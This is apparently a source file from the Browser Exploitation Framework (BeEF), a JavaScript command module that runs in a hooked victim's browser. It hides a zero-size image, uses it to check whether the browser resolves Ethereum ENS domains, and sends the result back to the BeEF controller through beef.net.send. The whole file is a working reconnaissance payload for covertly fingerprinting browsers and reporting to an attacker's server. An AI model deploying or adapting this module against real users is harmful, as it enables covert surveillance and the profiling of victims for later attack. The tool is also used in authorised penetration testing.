44 lines
1.7 KiB
JavaScript
44 lines
1.7 KiB
JavaScript
//
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// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) {
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return "Img already created";
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}
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var img = new Image();
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img.setAttribute("style", "visibility:hidden");
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img.setAttribute("width", "0");
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img.setAttribute("height", "0");
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img.src = '<%= @ethereum_ens_resource %>';
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img.id = 'ethereum_ens_img_<%= @command_id %>';
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img.setAttribute("attr", "start");
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img.onerror = function() {
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this.setAttribute("attr", "error");
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};
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img.onload = function() {
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this.setAttribute("attr", "load");
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};
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document.body.appendChild(img);
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setTimeout(function() {
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var img = document.getElementById('ethereum_ens_img_<%= @command_id %>');
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if (img.getAttribute("attr") == "error") {
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beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.');
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.');
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} else if (img.getAttribute("attr") == "load") {
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beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.');
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.');
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} else if (img.getAttribute("attr") == "start") {
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beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
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};
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document.body.removeChild(img);
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}, <%= @timeout %>);
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});
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